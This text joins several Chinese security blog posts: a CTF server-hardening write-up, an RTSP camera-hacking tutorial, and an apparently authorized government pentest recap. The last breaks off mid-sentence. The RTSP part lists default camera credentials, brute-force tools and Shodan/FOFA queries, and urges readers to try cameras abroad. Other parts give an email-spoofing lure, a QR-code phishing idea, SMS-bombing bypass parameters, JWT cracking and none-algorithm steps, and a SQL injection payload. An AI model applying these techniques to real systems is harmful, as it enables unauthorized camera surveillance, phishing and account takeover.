【题目背景】 模拟了一台公网上的服务器,内置 MYSQL\SSH\WEB 等应用服务,但是因为安全意识不到位导致该服务器存在若干安全风险,现在要求对该服务器实施断网并作全方面的安全检查,由于服务的迁移,在系统中保留了一些历史服务的流量包,需要对流量包进行分析和研判。

【题目要求】

1、通过修改服务器登录相关的配置文件实现:密码有效期90天、连续输错三次密码,账号锁定五分钟。

2、通过修改mysql相关配置实现:开启数据库查询日志、限制任意地址登录,只允许127.0.0.1登录。

3、从 /root/analyse.pcapng 文件中分析被读取走的flag值,写到 /root/flag.txt 中。

4、对系统中存在的其他安全隐患进行排查和处置(恶意配置后门请直接删除)。

5、还有其他的一些要求,但是没在题干中

【注意事项】

1、不涉及修改密码和修改私钥的动作,如果因为修改密码或私钥导致无法得分,选手自行负责。

2、禁止使用防火墙等相关IP封锁技术对IP进行隔离,如果因为隔离IP导致无法得分,选手自行负责。

【接入信息】

1、SSH服务端口22,账号密码为root/root

2、MYSQL服务账号密码为root/mysql

步骤

登录ssh,发现处于docker容器内,其实这里很多命令是无法使用的。

先修改登录过期事件

vim /etc/login.def

PASS_MAX_DAYS 90

连续输入错误三次,锁定5分钟

vim /etc/pam.d/sshd

auth required pam_tally.so deny=3 onerr=fail unlock_time=300 #最夯一行添加配置文件

auth required pam_faillock.so preauth audit silent deny=3 unlock_time=300
auth required pam_faillock.so authfail audit deny=3 unlock_time=300

或者修改

/etc/pam.d/common-auth

隐藏后门

查看发现异常用户hacker

userdel -f hacker

这里需要强制删除,因为不添加参数的话会重新创建该用户。

访问控制

访问控制在/etc/hosts.allow中发现存在异常的访问控制,删除该文件即可

安全配置

mysql暴力破解用户名密码root/mysql

mysql -uroot -pmysql

SET GLOBAL general_log = 'ON'; //开启数据库查询日志

或者图形化界面执行修改也可以

访问控制2

限制登录地址为127.0.0.1

修改配置文件

vim /etc/mysql/mysql.conf.d/mysql.cnf

bind-address = 127.0.0.1

定时任务

这个定时任务题目有问题,没有定时任务但是需要删除root的定时任务

rm /var/spool/cron/crontabs/root

其实这里的定时任务文件是没内容的,但是check的机制就是检测文件是否存在

特殊权限

find / -type f -perm -4000 -exec ls -l {} \;

find /:从根目录开始查找(你也可以指定特定的目录,例如 /usr/bin)。

-type f:只查找文件,不查找目录。

-perm -4000:查找设置了 SUID 权限的文件(SUID 权限对应的数字是 4000)。

-ls:显示详细信息,包括文件的权限、所有者、大小、修改时间等。

所有具有suid权限的文件都在/bin下,一般whoami权限是没有suid权限的,所以这个文件被动过,所以这里干掉这个文件就可以了。

流量分析

需要开启SFTP服务,注释掉配置文件

#RSAAuthentication yes 这个配置文件是老版本openssh

另外添加ftp配置文件

Subsystem sftp internal-sftp

检索关键字,追踪tcp流分析找到一串base64编码内容

导出分组字节流解码得到flag

echo "flag{d9d2c4b2-7cf2-472f-a8e8-2aad1e466099}" > /root/flag.txt

web漏洞

目录扫描发现info目录,发现属于xxe的报错,构造xxe语句

system是可执行文件,url路径需要传参,fuzz无果手工测试

回显显示需要参数,简单测试构造发现存在任意文件读取

修复直接就是定位到位置点儿进行修复即可。其实这里最简单的就是直接代码审计,审计即可,因为前期导完数据包的时候环境有问题,修改配置文件无法SFTP连接获取源码,所以就黑盒进行FUZZ了。

声明

本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
此文章不允许未经授权转发至除 火线Zone 社区 以外的其它平台!!!

0x1 RTSP奇特之旅前言

浅谈

哈咯,师傅们,好久不见!

已经很久没有写文章了,这次简单写一个蛮有意思的案例,也是在最近攻防演练中遇到的。

其实在最初开始晚没有特别的去想着去利用这个漏洞——RTSP协议漏洞,因为之前有看过文章简单了解过,主要就是打弱口令和未授权访问漏洞,然后一般就是比较敷衍的使用爆破工具爆破下,有无弱口令,或者使用字典目录遍历下。

像下面的我就喜欢使用无影tools的爆破模块

把目标导入即可,然后选择RTSP的554端口进行爆破,字典可以选择内置的字典

其次一般像RTSP的弱口令和未授权在我以前感觉用处不是很大,且平常挖src漏洞之类的,也不怎么碰的到。但是这次攻防演练嘛,有些东西在平常可能没多大的利用的价值,但是打攻防说不定就是可以打分打权限的那种,下面就来介绍下这个RTSP漏洞。

其中主要还是在网上看了很多的打法和文章资料,在网上尝试了蛮多的工具,发现一款GitHub上面的新利用RTSP漏洞一键利用的工具,然后结合这次资产刚好有,就利用起来了。

然后这次我开始也是简单的爆破下,因为这次是攻防演练嘛,然后是某单位的资产,且有好多下级部门的厂商视频监控管理系统,所以对应的监控大都是RTSP协议的,集群远程管理。

且这次的攻防演练目标资产比较多,范围比较广,只要是属于该市的资产都可以,还有一些企业的都可以,像很多的监控系统都带有远程管理操作,所以有部分都是RTSP协议的,且这个漏洞在平常接触比较少,就比如我平常挖src对这个漏洞基本上没有太多的操作。

下面是我简单收集的一些资产表格如下:

0x2 众测捡钱小技巧(拓展)

一、浅谈

上面既然介绍到了我们平常挖企业src中一些不怎么会收的漏洞,比如我这里要讲的RTSP漏洞,这个漏洞的话主要是在攻防演练中,我们可以对目标资料中的一些监控管理系统进行拿监控管理权限的分,因为在攻防演练中主要是通过拿数据分和权限分,特别是你打进内网,像这样的监控系统肯定很多,这样就可以帮助你拿比较多的权限分。

这里给师傅们看下某些评分标准:

下面我来给师傅们讲下众测中,我一般第一先测试的漏洞——SPF邮件伪造漏洞。

具体的测试方法,我下面有很详细的测试手法,其实网上也有很多的批量跑SPF邮件伪造漏洞的脚本,其中我自己也是利用这些脚本去测试的,因为在众测中,得拼手速了,具体的脚本我这里就不放上去了,因为脚本内容因人而异,最好自己修改下。

其实在攻防演练中也是可以利用SPF邮件伪造漏洞的,可以使用SPF邮件伪造去钓鱼,收集目标资产的邮箱,然后去钓鱼攻击,也是一种方法,在护网期间,钓鱼攻击是特别常态且使用特别多的一种方式。

二、SPF邮件伪造漏洞

针对师傅们对于SPF邮件伪造漏洞的拓展,师傅们可以看我之前写的那篇原创文章:https://xz.aliyun.com/news/14752

这里就引用这篇文章的SPF邮件伪造漏洞,写的蛮详细的,师傅们可以参考学习下,然后后面在众测项目上去赚点漏洞赏金。

1、spf邮件伪造漏洞简介:

SPF 记录是一种域名服务(DNS)记录,用于标识哪些邮件服务器可以代表您的域名发送电子邮件

SPF 记录的目的是为了防止垃圾邮件发送者在您的域名上,使用伪造的发件人地址发送邮件。

原理:未设置spf导致的邮件任意伪造,可以用来钓鱼社工,本身就是高危

若您未对您的域名添加 SPF 解析记录,则黑客可以仿冒以该域名为后缀的邮箱,来发送垃圾邮件。

2、漏洞危害:

可以用未进行安全配置的网站域名,发送邮件。

比如:www.baidu.com有这个漏洞,你就可以伪造HR@baidu.com给受害人发邮件进行钓鱼。

src收的少,但是重测和渗透测试项目可以交。

  • 注意:如果没有v=spf1或者没spf就存在邮件伪造漏洞。
  • -all 不能伪造,all可以伪造

3、测试漏洞

我们直接拿baidu.com的域名来给大家演示下,用kali的nslookup 工具测试下

可以看到下面的回显,存在spf记录,是-all参数,说明不能任意伪造。

┌──(root-kali)-[~]
└─# nslookup -type=txt baidu.com

还可以使用dig -t命令来测试

┌──(root-kali)-[~]
└─# dig -t txt baidu.com

4、SPF解析不当导致绕过

把下面的spf配置记录复制下来

测试地址如下:

https://www.kitterman.com/spf/validate.html

这里显示spf解析配置正确

下面拿一个存在spf解析错误的案例来演示下:

SPF记录报错,在这条SPF记录中,存在多个IP段,但只有开头的一段ip用了ipv4,这就导致了语法错误。因为这个错误,将导致整个SPF记录完全失效,因为SPF无效,邮件接收方的SPF检测功能也就失效了。

5、swaks 测试

使用kali自带工具swaks 测试

swaks --body "helloword" --header "Subject:testT" -t 自己的邮箱 -f test@baidu.com
body为内容
Subject为标题
-t为目标邮箱
-f为伪造的发送方,这里我们伪造加了cn字眼,这里伪造改不明显字眼等都会进垃圾箱

我们先申请一个临时邮箱:

http://24mail.chacuo.net/

然后我们使用kali自带的swaks 工具进行测试,结果如下

┌──(root-kali)-[~]
└─# swaks --body "【2024年8月1日】 检测到您教务系统长时间未修改密码,请及时修改密码确保账户安全 手机管家@163.com
【该邮件自动监测请勿回复】" --header "Subject:vivo" -t vioxzs43016@chacuo.net -f customers@alexz.com


看到这里,我们要是对标题和内容进行改进,那么我们是不是就可以尝试钓一波鱼了呢?

0x3 RTSP协议漏洞介绍

一、协议分析

  • RTSP(实时流协议)是一个网络控制协议,设计用于娱乐和通信系统中控制流媒体服务器。该协议用于建立和控制媒体会话中的时间同步流。RTSP 提供了一个可扩展框架,使得能够实现对实时数据,如音频和视频的控制。与HTTP不同,RTSP提供了对流数据的实时控制功能,比如可以随意快进或倒退。

  • RTSP 主要用于以下场景:

    1、视频监控系统,会议视频

    2、IP摄像头监控(企业、大街、工厂的监控头)

    3、媒体播放器与媒体服务器之间的交互

    4、智能家居设备,比如:门铃、智能汽车行车仪等

  • RTSP 协议通常运行在 TCP 或 UDP 协议之上,使用的端口是554,不同厂商可能是8554端口。它允许客户端发送播放、暂停和停止等控制指令,以及进行实时播放位置的调整。

二、RTSP认证方式

1、Basic认证(基本认证)

基本认证是HTTP 1.0 提出的认证方案,其消息传输不经过加密转换因此存在严重的安全隐患。

服务端在未认证时返回401Unauthorized,并带上WWW-Authenticate: Basic realm="RTSP Server"头,要求客户端提供凭据。

1) 客户端发送 DESCRIBE 请求

DESCRIBE rtsp://192.168.1.55:554/11 RTSP/1.0\\r\\n CSeq: 1\\r\\n 
Accept: application/sdp\\r\\n 
User-agent: Realplayer\\r\\n\\r\\n

2)服务端发出 WWW-Authenticate 认证响应

服务端返回401错误码,发出 WWW-Authenticate 认证响应告诉客户端需要进行认证。

RTSP/1.0 401 Unauthorized\r\n 
CSeq: 1\r\n WWW-Authenticate: Basic realm="RTSPD"\r\n\r\n

3)客户端再次发出 DESCRIBE 请求

此时客户端程序弹出密码认证窗口 ,提示输入用户名,密码等认证信息,并根据服务端返回的响应消息中进处理,如果发现是 Basic认证则携带认证信息发送如下报文:

DESCRIBE rtsp://192.168.1.55:554/live/1/video.sdp?token=A00453FR805a54C8 RTSP/1.0\r\n CSeq: 2\r\n 
Accept: application/sdp\r\n 
User-Agent: RealMedia Player HelixDNAClient/12.0.1.647 (win32)\r\n Authorization: Basic YWRtaW46YWRtaW4=\r\n\r\

其中 “YWRtaW46YWRtaW4=” 是通过 username:password 进行 base64 编码所得。因为其具有唯一性等价于账号和密码,明文发送泄漏后存在安全风险。

2、Digest认证(摘要认证)

摘要认证是http 1.1提出的基本认证的替代方案,其消息经过MD5哈希转换因此具有更高的安全性。

避免了直接明文传输密码的风险。但是 MD5 哈希较弱,仍然可以通过 彩虹表等方式破解。

三、RTSP认证流量监测

首先,这里你去了解RTSP认证流量,得先安装两款工具,工具是使用Wireshark和VLC视频播放工具。

1、Wireshark下载地址

https://www.wireshark.org/download.html

2、VLC视频播放工具

https://www.videolan.org/vlc/index.zh_CN.html

因为我的电脑上macbook,所以打开VLC和使用如下操作(windows的操作也是差不多的)

1、默认下载下来是英文的,直接可以设置中文的

选择Language,然后选择简体中文,重启软件就好了

2、打开 VLC 主界面,选择File > OpenNetwork(中文版为媒体 > 打开网络串流

3、在弹出的对话框输入直播流播放地址,然后点击打开即可查看监控视频画面了

3、认证流量监测

使用Wireshark和VLC视频播放工具

获取rtsp协议认证方式,可以发送options和describe请求进行,如下图所示,获取到认证方式为401 Basic和Digest, 如果返回的状态码为200,说明存在未授权访问。

0x4 RTSP漏洞攻击

一、主流摄像头安全问题汇总

1、警卫视摄像头

型号:qs-qy
连接密码:密码默认为空

rtsp连接地址:

rtsp://admin@IP:554/live/ch00_1

2、乐橙摄像头

型号:LC-S2D
rtsp密码:摄像头底部安全码    
rtsp连接地址:
rtsp://admin:L2C3F848@IP:554/cam/realmonitor?channel=1&subtype=0

3、tp-link摄像头

设备型号:TL-IPC44AW
rtsp密码:默认为空
rtsp连接地址:
rtsp://admin@IP:554/stream1   

4、萤石摄像头

设备型号:CS-C6
rtsp密码:摄像头底部安全码
rtsp连接地址:
rtsp://admin:RMETAA@IP:554/h264/ch1/main/av_stream

5、乔安智联摄像头

设备型号:JA-C10E
rtsp密码:空密码
rtsp连接地址:
rtsp://admin@IP:554/live/ch00_1

6、帝防摄像头

设备型号:JA-C10E
rtsp连接地址:
rtsp://admin:admin11@IP:554/onvif1   

7、Cubetoou摄像头

设备型号:Q88
rtsp连接地址:
rtsp://admin:123a123a@IP:554/onvif1

8、 icam365摄像头

设备型号:GI-2304
rtsp连接地址:
rtsp://admin:admin@IP/live.sdp

思路:
①指纹识别    
发送rtsp请求,根据server头找到设备型号为TAS-Tech

②查找设备rtsp地址和密码
在ispyconnect (https://www.ispyconnect.com/camera/tas-tech),上找到rtsp地址和密码。
连接地址为:rtsp://admin:admin@IP/live.sdp

二、RTSP爆破

  • RTSP协议认证主要有Basic和Digest两种
  • 它的RTSP URL通常是这样的 rtsp://admin:admin@192.168.1.56:554/live/sys01

对于爆破用户名、密码和流路径的方法网上也是有很多的python脚本,都可以尝试使用,但是我自己使用了好几个,都感觉差点意思,首先对于打攻防演练中,批量去测试,且需要对测试出来的IP地址进行归类,然后显示和判断出有价值的信息的,且导出页面可视化效果不好,其次好多针对呀RTSP这个漏洞目前汇总的字典不够全,爆破起来不是那么那啥,得自己汇总针对性的字典。

三、RTSP协议爆破工具

我最开始就是使用无影tools和hydra九头蛇进行尝试爆破。

特别是对于新手师傅们,可能更喜欢在网上找些github项目的图形化GUI的项目试试,我这里也是找到了一个工具,蛮不错的,图形化操作,内置字典都还不错

GitHub地址:

https://github.com/returnwrong/RTSP-Cracker-Pro

师傅们要是觉得这个工具还不错,看完我的文章以后可以挖到这类漏洞了,可以给作者点个star关注

这里直接下载这个zip文件即可,里面主要是一个python的可执行文件,是个GUI图形化的工具

但是这里我的MacBook电脑自带的Python 3.9.6运行这个下载的python执行文件,里面的功能显示不全(有点疑惑)

 ~/Downloads/rtsp_crackV1.0.3 > python --version
Python 3.9.6

后面在Cursor上面进行代码修改,提示应该是在 Mac 上运行时出现图形化界面显示异常,可能是由于不同操作系统的字体、颜色渲染或布局方式有所差异导致的,这里直接改改代码即可

工具打开以后是这样的,图形化界面,看着就很简单

四、攻防演练RTSP实战

这里最开始是通过查看评分手册来看到一些摄像头权限分也是可以拿的,且当时在资产收集过程中,看到了蛮多的视频监控管理系统等等,于是我上网找了蛮多的资料和工具进行测试漏洞。

这里直接把IP导入到ip.txt文件中

这里的字典可以使用工具自带的,但是我这里建议师傅们要是能过自己再去多收集一些,然后与这个工具的字典汇总,再去重,爆破效果可能要好点

然后点击破解,就可以看到具体的一个破解速度和进程了,图形化的好处就是可以很直观的看,爆破的日志也很清晰,特别是对于攻防中目标资产特别多,我们可以调整下线程大小

还有就是Digest认证和Basic认证两种都跑一下,这样爆破成功的概率更大

爆破成功后,可以直接点击查看结果的功能,里面的爆破成功目标资产很详细的列举出来了,但是我感觉爆破最主要还是得靠字典,这个工具自带的字典还行,但是也不是特别全,需要自己去网上收集

然后把显示爆破成功的RTSP URLs复制过来到VLC视频工具,然后连接就可以直接看到监控内容了

五、手把手带你挖RTSP漏洞

像师傅们看完我上面的文章了是吧,手肯定也痒痒了,也想去测试下这个漏洞,获取下监控视频的权限。这里提醒下,别使用国内的,可以去试试国外的。具体的空间搜索引擎语法如下:

FOFA语法

port="554" && protocol="rtsp" && category="视频监控"

FOFA语句二:

(port="554") && (is_honeypot=false && is_fraud=false) && protocol="rtsp"


可以看到数量比较多,测试的时候可以把线程调大点,爆破的时间就稍微短点

shodan搜索网络摄像头语法:

shodan搜索起来更加好点,特别是这里建议大家试试国外的站点,建议可以使用shodan去测试

port:554 has_screenshot:true

然后打开VLC media player,配置流地址,然后就可以直接有监控权限了,可以直接看画面了

0x5 总结

到这里,这篇文章就已经结束了,该聊的和该注意的地方都给师傅们前面已经提过了,结尾呢主要是还是得提醒下师傅们不要未授权测试,且干渗透测试得低调点。

然后上面已经非常详细点给师傅们分享了RTSP漏洞的案例,看完这篇文章,我想小白新手师傅都可以去挖这个漏洞了,使用的工具和手法都给师傅们分享了,且都写的非常的详细。

因为我电脑是MacBook的原因,所以一些软件使用上面还是有差异,师傅们可以自行上网搜索,Google浏览器还是很好用的,多搜搜,最好希望师傅们测试这个漏洞的时候测下国外的,不要未授权测试国内的!!!

文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担。

声明

本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
此文章不允许未经授权转发至除 火线Zone 社区 以外的其它平台!!!

0x1 前言

一、浅谈

这篇文章主要是给师傅们分享下前段时间我们公司做的渗透测试,这次是跟市里面的网信办一起做的。因为是第一次所以我们这次做的渗透测试价格不高,主要是为了后面连续几年的一个渗透测试服务项目。

这次的渗透测试范围特别广,包含整个市里面的好多政企单位和学校,资产多,测试起来也就比较简单。下面简单给师傅们分享下一些渗透测试上面的漏洞复盘,给新手师傅们,特别是没有参加过渗透测试的师傅们给点经验。这里需要注明下,该项目中的漏洞目前已经全部修复了,另外提醒师傅们不要做未授权测试。所以下面的渗透测试漏洞案例中又部分截屏不全,我会备注,因为目前已经修复了。

二、资产整理

首先我会把公司发的跟这次渗透测试项目相关的文件和资产,还有一些些漏洞报告的模版之类的汇总在一个文件夹中,这样方便后面我自己进行一个漏洞报告编写,以及资产的收集整理,比如像web资产和APP、小程序漏洞都是可以分开整理

我们在渗透测试项目之前,甲方那边都会给我们一些资产相关的表格,下面就是常见的excel表格资产,还有就是有些甲方可能目标资产不是那么多,且大多都是web资产,直接也有发txt文件的

txt的类型像下面的如下:

然后像渗透测试,还有就是授权书也是得有的,这里我们都是合法授权渗透测试的项目,跟那边都有授权合作的项目书,这里也希望师傅们能够合法进行渗透测试

0x2漏洞一 短信轰炸

一、纵向轰炸

这里首先先带师傅们看看渗透测试常测试的点,比如像登陆口,一般都有手机号码登录,手机号码验证登录,需要我们接受短信验证码,然后进行登录操作。像渗透测试还有重测和src漏洞挖掘中,短信轰炸都是收的,企业src价格低点,且一般香短信轰炸,一般像很多企业都要求在比如每分钟15/30条以上就收。

这里测试的手是一个人力资源管理局的一个微信小程序,这里直接输入我自己的手机号,然后使用bp抓包,拦截短信验证码发送的数据包:

直接把数据包放到重放模块,下面直接go一下(第一次go)数据包

可以看到数据包回显是正常的,且手机也是正常的接受到了短信验证码了

但是第二次再次点击发送数据包,缺显示报错,意思是我们已经发送了一次,在短时间类不能再发送了

这里我们就可以想下了,我们能不能进行一个验证码发送限制次数的绕过,这个要是能绕过,无限次数的发送验证码是会消耗这个单位的一个资源的

然后我们就可以进行一个测试了,看看什么字符可以进行绕过验证码发送呢?

经过测试发现,可以通过@、空格、+86、逗号等进行绕过,从而达到短信轰炸的漏洞危害:

我们如果要把危害加大,达到一分钟短信轰炸达到几十条,那么我们就要利用bp的爆破了,我们手动添加多个绕过字符,然后进行爆破,尽量多的提高每分钟爆破短信验证码的发送次数,以此来提高这个漏洞的危害:

然后师傅们就可以看自己的手机上面的短信验证码了,就可以看到一次性并发绕过了很多条短信验证码:

二、横向轰炸

然后这个人力资源局的小程序还存在横向爆破绕过漏洞,可以进行双手机号验证码同时进行发送,从而造成逻辑漏洞,下面师傅们可以参考下我具体的绕过技巧,在碰到这样的场景时候,直接去实操即可

类似下面的,常用的就是下面几个:

phone=13888888888,phone=13999999999
phone=13888888888&phone=13999999999
phone=13888888888,13999999999
phone=13888888888&13999999999

下面我就直接重新回到刚才上面的抓包步骤,抓取发送短信验证码的数据包,然后去尝试使用上面的绕过方法,看看能不能进行绕过,双手机号验证码同时发送,这里我使用我的卡一和卡二来演示:

我这里使用的就是下面这个思路:

phone=13888888888&13999999999

然后就可以看到自己手机短信验证码,收到了来自卡一和卡二一样的验证码,且时间也是一样的:

然后我们这里就可以使用卡二的手机收到的验证码,只需要知道卡一的手机号就行了,那么就可以直接登陆卡一的账号

那么我们后面深入利用就可以去改人力资源局相关站点去搜索电话号码,然后使用这个漏洞就可以越权登陆其他账号,特别是像权限比较高的admin之类的管理员账号

三、短信轰炸总结

下面是我之前总结的一些验证码爆破的一个思维导图,师傅们可以保存下,对于挖掘企业src和众测的时候,厂家收不收呢,其实可以看看相关的文档,一般都是定义每分钟15/30条以上就收

0x3 漏洞 二 SessionKey三要素泄露

一、未授权登陆

下面这个漏洞就是给师傅们分享下,在渗透测试中比较容易发现,并且好打的一个漏洞点——SessionKey三要素泄露,这个漏洞在蛮多微信小程序中都存在,且利用的手法不难,看完我这篇文章,师傅们也可以去测试下

这个漏洞需要使用到一个SessionKey三要素解密的工具,有直接下载使用的,也有burpsuit插件,反正原理都是一样的,加解密→替换数据包→未授权登陆

1、首先介绍下使用到的SessionKey解密工具

https://github.com/mrknow001/wx_sessionkey_decrypt/releases/tag/v0.1

这个工具直接双击运行即可,类似下面的:

还有一个就是使用burpsuit的自带插件

https://github.com/mrknow001/BurpAppletPentester/releases/tag/v1.1

直接就可以导入到bp插件中

2、这个微信小程序是目标资产中的一个大学的小程序设备,大学那种预约访谈进出校园、校园招聘那种功能点,像这样的基本上都有那种手机号一键登陆的功能点,像这样的微信小程序手机号一键登陆,很大概率存在SessionKey三要素泄露漏洞,这样的漏洞我之前挖EDUSRC挖了好多,且有一本证书站也就是这个漏洞,但是没有那么明显

3、点击手机号快捷登陆操作,直接使用bp抓包,可以看到数据包中出现了SessionKey三要素泄露:

4、直接一键发送到AppletPentester 插件中

5、直接一键解密即可

6、在信息收集的时候,在一个接口中,发现这个微信小程序里面有很多的一些学校老师信息,比如手机号之类的,然后这里我就带师傅们利用这个SessionKey三要素泄露漏洞,直接未授权登陆管理员老师账号

直接替换成管理员老师176的手机号,然后点击加密

再进行登陆口抓起数据包,替换数据包,然后点击重发数据包即可

就可以直接未授权登陆这个账号了

二、弱口令+信息泄露

然后,我这里直接把这个小程序的host拿到web页面去访问,因为我一般打小程序都有这个习惯,看看web端有没有系统,特别是那种登陆系统,弱口令的概率很大

打开web端访问,直接跳转这个页面,特别经典的若依系统页面

这里直接使用刚才的手机号+弱口令密码

直接成功登陆了后台,里面泄露了整个学校的学校个人敏感信息

0x4 JWT爆破攻击

一、可爆破/未验证签名导致越权

首先通过微信搜索小程序,找到对应目标资产中的小程序系统

直接点击这个微信小程序,这个时候我们需要一直打开我们的bp抓取小程序的数据包(这个是一个测试小程序的一个好习惯,因为有些接口,包括敏感信息泄露,看历史的数据包很关键),然后看看数据包有没有什么提示,因为这里我的bp安装了HAE,一般重点关注带颜色的数据包

这里我们可以看到bp的历史数据包,显示了多个JSON Web Token也就是大家常说的JWT值,像一般碰到这样的JWT值,我一般都会选择JWT爆破尝试haiy选择有无设置None加密,去进行做一个渗透测试

这里先直接复制到https://jwt.io/ 去看看这个JWT里面的内容,然后去猜测这个paylod校验哪部分

下面我来给师傅们讲解下这个payload代表什么,一些新手师傅可能没有了解过,包括后面进行数据包替换,也是要修改其中的payload值

|字段名|值|说明|
|-|-|-|
|role|appUser|用户角色,表明用户属于应用层普通用户(非管理员)|
|exp|1747377338|令牌过期时间(Unix 时间戳)。通过转换可得具体时间:2025-11-14 11:15:38 UTC|
|userId|xxxxxxxxxxxxxxxxxx|用于标识用户身份|
|user_key|xxxxx-xxxx-xxxx-xxxx |用户密钥或关联密钥(可能用于访问控制或加密)。|
|username|1xxxxxxxxx79|手机号,一键微信登陆的|

这里先使用自己修改的JWT脚本爆破工具,看看能不能爆破出密钥

爆破发现其密钥为123456

然后直接来到刚才JWT的网站,去利用该key构造JWT,可以直接进入后台,下面的勾需要勾上

因为这里我经过测试,这个网站的JWT是对user_key进行校验,所以只要在规定时间内user_key不过期,那么我们就可以拿另外一个手机号进行测试,替换bp抓取登陆口的数据包,然后放包就可以直接登陆别的账号

首先这里需要修改下时间戳,拿这个网站:https://tool.lu/timestamp/ 一般都是改成第二天的时间,不可以早于测试时间

还有就是把username替换下,这里我做测试,替换我的卡二,也就是最后面说93的尾号,因为经过测试,普通用户的role 都是appuser,这里猜测管理员可能是admin

然后直接在小程序登陆口,使用bp抓包,然后劫持数据包,进行替换token值,因为这里经过测试是校验的JWT值

通过不断替换JWT值,然后不断测试放包,放包,最后面可以直接不需要使用账号密码,直接登陆改账号

二、设置加密为None导致不验证签名从⽽达到越权

上面那种情况只需要爆破密钥,或者一些系统框架默认使用一些密钥,没有经过修改,可以直接利用默认key的那种,这里给师傅们讲解下那种设置加密了——None加密,导致直接爆破不了,需要使用JWT工具自动生成None加密的四种不同算法,也可以理解成一种绕过思路

这里需要使用的工具是jwt_tool,下载地址如下:https://github.com/ticarpi/jwt_tool

这里我这个小程序是不存在这个漏洞,但是这里给没有学过这个漏洞的师傅们演示下

python jwt_tool.py JWT值

会直接显示JWT解密以后的内容显示出来

下面使用这个工具来测试 None 算法漏洞

使用下面的这个语法跑这个脚本,⾃动⽣成 4 种 None 算法的变体(⼤⼩写敏感测试),其实也就是使用这四个token去挨个尝试替换,然后发包,看看返回包是否有成功回显数据

python jwt_tool.py JWT值 -X a  

burpsuit返回包总结:

401 Unauthorized → 签名校验失败,可尝试算法混淆或密钥爆破
200 OK → 攻击成功(罕⻅,说明存在⾼危漏洞)
{"error":"alg not allowed"} → 服务端禁⽤ None,可尝试算法改⽤其他攻击向量(如 PS256 → HS256)

0x5 OAuth2.0漏洞

这次我在测试过程中碰到了OAuth2.0漏洞,是一个企业的微信公众号和一个带宣传性的一个登陆管理网站存在的这个漏洞,直接存在二维码不需要二次确认扫描,目前已经被修复了,但是那种漏洞的站点很明显,截屏那个网站的logo打码也看的出来

所以这里直接给师傅们分享下我之前写的一篇关于OAuth2.0漏洞的文章,在先知社区原创的文章:https://xz.aliyun.com/news/16153

简单案例分享

简单来讲就是在登录过程中,比如可以使用第三方应用授权登录,且扫描二维码登录不需要确认校验,直接扫码即可登录,那么就可以使用二维码钓鱼之类的危害,就是文章开头的描述的百度案例一样。

这里进入后台,然后有一个使用微信绑定,扫描二维码的功能

点击立即绑定,然后就会弹出来一个二维码,那么我们就可以拿这个二维码进行一个钓鱼欺骗,让别人扫描二维码,从而绑定别人的微信号

就跟我上面的一个,搞一个钓鱼的二维码模板,然后往一些网安群里面一发,说什么小白免费领取网安教程,只需要扫描此二维码即可(肯定有人扫的)

0x6 jeecg泄露漏洞

一、jeecg框架简介

JeecgBoot是一款基于AIGC、BPM和低代码引擎的AI低代码平台,旨在帮助企业快速实现低代码开发和构建个性化AI应用!前后端分离架构Ant Design&Vue3,SpringBoot,SpringCloud Alibaba,Mybatis-plus,Shiro。强大的代码生成器让前后端代码一键生成,无需写任何代码! 引领AI低代码开发模式: AI生成->OnlineCoding-> 代码生成-> 手工MERGE, 帮助Java项目解决80%的重复工作,让开发更多关注业务,快速提高效率 节省成本,同时又不失灵活性!低代码能力:Online表单、Online报表、大屏/仪表盘设计、表单设计、流程设计、报表设计;AI能力:AI应用平台+知识库问答、AI模型管理、AI流程编排、AI聊天、AI建表等,支持各种AI大模型ChatGPT、DeepSeek、Ollama等.

jeecg官网如下:

https://www.jeecg.com/

二、jeecg综合漏洞利用工具

这里先给新手师傅们分享个还不错的jeecg漏洞利用工具,首先这个工具书GUI图形化工具,还有就是这个工具更新了很大jeecg的历史nday漏洞在里面,使用操作简单

工具下载链接:https://github.com/MInggongK/jeecg-

这里给师傅们演示下,直接把可能存在jeecg漏洞的url导入目标中,然后选择ALL模块,进行检测即可

三、从小程序到web端接口泄露

好了,这里废话不多说了,这里回归这次渗透测试项目中来,再次给师傅们分享下这个漏洞,因为有些刚接触网安的师傅还没有接触这个漏洞,所以这里给大家分享下,这次jeecg漏洞通过以前保留的一些jeecg测试手册,一些jeecg的接口和bp数据包,像这样的jeecg框架系统,都是可以直接拿来测试

1、首先,这个系统漏洞还是小程序,直接搜索对应资产小程序名称,这个系统是该市里面的一个大学的缴费系统

2、打开微信小程序,首先我会直接去打开bp抓包,然后这里随便点击里面的功能点,然后进行看里面的数据包

然后去翻里面的历史数据包,师傅们可以看到下面的table关键字

这个tableNane关键字让我感到兴趣,是因为开发人员在一些做接口命名的时候,不会随意取名称,他这个接口后面的tableNane=xxxx,这里我直接去拿table表名出线多的去尝试猜测下

这里我尝试了几个,但是都没有出信息,还尝试了information_schema.tables表名,都没有什么数据回显

然后我这里还尝试直接把表名置空,但是依然没有什么敏感数据回显

3、这里直接把小程序数据包中的host域名和端口,直接放到web端去访问,然后再尝试别的测试

4、这里使用findsomething插件,去跑下web页面泄露的接口,这里把收集到的接口放到一个1.txt的文件中

5、这里师傅们要是没有思路,最简单的就是就可以直接把findsomething插件泄露的接口利用bp的POST和GET方法都跑一遍即可。但是这里我需要找找我保存的接口里面有没有泄露跟tableName相关的

6、通过findsomething插件,得到了好几个tableName的接口,然后直接使用bp去访问,发现一个接口直接泄露了四百多个数据表格名称

然后每个表里面都泄露了好几百个个人敏感信息,比如身份证、手机号、姓名之类的

四、SQL注入漏洞

这个小程序的一个接口还存在SQL注入漏洞,通过测试,直接可以注入出数据库名称,直接又一个SQL注入到手了

SQL注入payload:updatexml(1,concat(0x7e,user(),0x7e),1)

五、提权操作

师傅们,其实测试到这里,这个系统小程序和web端都摸熟悉了,就是jeecg的系统框架,里面的很多接口都是jeecg开发默认的接口名称,但是前面的路径发生了一点变化,没有原班直接拿jeecg的接口使用,但是经过FUZZ测试出来了很多接口,这里给师傅们分享下,我先注册一个账号,然后提权到admin管理员账号的过程。

首先我使用register注册接口,注册一个账号

